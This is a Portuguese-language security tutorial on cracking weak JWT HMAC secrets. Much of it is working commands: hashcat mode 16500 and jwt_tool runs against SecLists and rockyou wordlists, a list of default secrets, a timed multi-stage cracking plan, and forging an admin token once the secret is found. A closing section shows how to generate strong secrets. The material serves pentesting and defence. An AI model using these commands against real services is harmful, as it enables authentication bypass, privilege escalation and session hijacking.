✅ Compreensão fundamental

• Como a assinatura HMAC realmente funciona (chega de mistério!)
• Por que segredos fracos comprometem completamente a segurança JWT
• Metodologias de ataque profissionais e padrões de sucesso
• Ferramentas padrão da indústria para criptografia computacional

🔍 Habilidades de especialista

• Usar hashcat como um consultor de segurança
• Aproveitar SecLists para ataques sistemáticos
• Calcular viabilidade de ataque e requisitos de tempo
• Implementar contramedidas defensivas adequadas

Padrões fracos mais comuns

Segredos padrão e de exemplo que desenvolvedores esquecem de mudar em produção

secret
your-256-bit-secret
mysecretkey
jwt_secret
companyname123

Vetores de ataque

Como profissionais de segurança testam sistematicamente segredos fracos

Ataques por dicionário
Wordlists específicas da empresa
Testes de padrões de framework
Mutações baseadas em padrões

Impacto real

Consequências documentadas de avaliações de segurança reais

Bypass completo de auth
Escalação de privilégios
Comprometimento de dados
Sequestro de sessão

Ataque Hashcat passo a passo

# Passo 1: Salve o token JWT para o hashcat
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.XbPfbIHMI6arZ3Y922BhjWgQzWXcXNrz0ogtVhfEd2o"
echo "$JWT" > jwt.hash

# Passo 2: Crie wordlist com segredos comuns
echo -e "secret\npassword\nadmin\ntest\n123456\nyour-256-bit-secret" > wordlist.txt

# Passo 3: Lance o ataque
hashcat -m 16500 jwt.hash wordlist.txt --force

# Passo 4: Verifique os resultados
hashcat -m 16500 jwt.hash --show

Esta mesma metodologia é usada por pentesters durante avaliações de segurança para identificar implementações JWT fracas em sistemas de produção.

Teste rápido de segredo e exploração

# Teste com um segredo fraco específico
python3 jwt_tool.py [SEU_TOKEN] -C -p "secret"

# Teste com uma wordlist personalizada
python3 jwt_tool.py [SEU_TOKEN] -C -d wordlist.txt

# Uma vez que o segredo é encontrado, forje um novo token
python3 jwt_tool.py [TOKEN] -S hs256 -p "segredo_encontrado" -I -pc role -pv admin

# Exemplo de saída quando bem-sucedido:
# [+] secret is the CORRECT key!
# jwttool_abc123 - Tampered token - HMAC Signing:
# [+] eyJhbGciOiJIUzI1NiIs... (token admin forjado)

Essa capacidade de exploração imediata torna o jwt_tool essencial para demonstrar o impacto real de segredos JWT fracos.

SecLists essenciais para ataques JWT

# Wordlists de alto sucesso para vitórias rápidas
/usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt
/usr/share/seclists/Passwords/Common-Credentials/best1050.txt
/usr/share/seclists/Discovery/Web-Content/common.txt

# Para ataques abrangentes
/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt

# Exemplo de uso com hashcat
hashcat -m 16500 jwt.hash /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt

Essas wordlists são o resultado de anos de pesquisa de segurança e análise de senhas reais, dando a você os mesmos recursos usados por pentesters profissionais.

# Teste o segredo fraco mais comum
TOKEN="seu_token_jwt_aqui"
python3 jwt_tool.py $TOKEN -C -p "secret"

# Se bem-sucedido: [+] secret is the CORRECT key!
# Então forje um token admin:
python3 jwt_tool.py $TOKEN -S hs256 -p "secret" -I -pc role -pv admin

# Crie wordlist com padrões de framework
cat > framework_defaults.txt << 'EOF'
secret
your-256-bit-secret
mySecretKey
super-secret
jwt-secret
django-insecure-key
base64:your-base64-encoded-secret-here
EOF

# Teste contra o alvo
python3 jwt_tool.py $TOKEN -C -d framework_defaults.txt

# Ataque profissional multi-estágio

# Estágio 1: Alvos de alta probabilidade (5 min)
hashcat -m 16500 jwt.hash /usr/share/seclists/Passwords/Common-Credentials/best1050.txt

# Estágio 2: Senhas comuns estendidas (15 min)
hashcat -m 16500 jwt.hash /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt

# Estágio 3: Ataque abrangente com regras (30 min)
hashcat -m 16500 jwt.hash /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -r rules/best64.rule

# Estágio 4: Termos específicos da aplicação (10 min)
hashcat -m 16500 jwt.hash /usr/share/seclists/Discovery/Web-Content/common.txt

Taxa de sucesso alta

Vitórias rápidas (menos de 1 hora)

• Segredos padrão de framework
• Chaves de ambiente de desenvolvimento
• Aplicações de tutorial/exemplo
• Palavras de dicionário simples

Ferramentas: jwt_tool, senhas comuns SecLists

Taxa de sucesso média

Ataques estendidos (1-24 horas)

• Segredos alfanuméricos de 8 caracteres
• Palavras de dicionário modificadas
• Padrões específicos de empresa/app
• Bancos de dados de senhas vazadas

Ferramentas: hashcat com GPU, arquivos de regras, wordlists personalizadas

Taxa de sucesso baixa

Não vale a pena tentar

• Segredos aleatórios de 12+ caracteres
• Chaves 256-bit geradas corretamente
• Senhas únicas complexas
• Chaves geradas por HSM

Conselho: Concentre esforços em outro lugar

Comandos profissionais de geração de segredos

# Gere um segredo 256-bit criptograficamente seguro
openssl rand -base64 32

# Método Python (recomendado)
import secrets, base64
secret = base64.b64encode(secrets.token_bytes(32)).decode()
print(f"JWT_SECRET={secret}")

# Método Node.js
const crypto = require('crypto');
const secret = crypto.randomBytes(32).toString('base64');
console.log(`JWT_SECRET=${secret}`);